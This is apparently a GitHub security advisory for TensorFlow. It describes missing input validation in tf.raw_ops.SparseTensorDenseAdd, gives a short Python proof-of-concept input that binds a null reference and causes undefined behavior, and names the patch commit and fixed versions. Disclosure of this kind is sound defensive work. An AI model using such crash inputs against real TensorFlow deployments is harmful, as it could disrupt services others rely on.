GHSA-rc9w-5c64-9vqq Missing validation results in undefined behavior in `SparseTensorDenseAdd

Impact The implementation of `tf.raw_ops.SparseTensorDenseAdd` does not fully validate the input arguments: ```python import tensorflow as tf a_indices = tf.constant(0, shape=[17, 2], dtype=tf.int64) a_values = tf.constant([], shape=[0], dtype=tf.float32) a_shape = tf.constant([6, 12], shape=[2], dtype=tf.int64) b = tf.constant(-0.223668531, shape=[6, 12], dtype=tf.float32) tf.raw_ops.SparseTensorDenseAdd( a_indices=a_indices, a_values=a_values, a_shape=a_shape, b=b) ``` In this case, a reference gets bound to a `nullptr` during kernel execution. This is UB. Patches We have patched the issue in GitHub commit 11ced8467eccad9c7cb94867708be8fa5c66c730. The fix will be included in TensorFlow 2.9.0. We will also cherrypick this commit on TensorFlow 2.8.1, TensorFlow 2.7.2, and TensorFlow 2.6.4, as these are also affected and still in supported range.
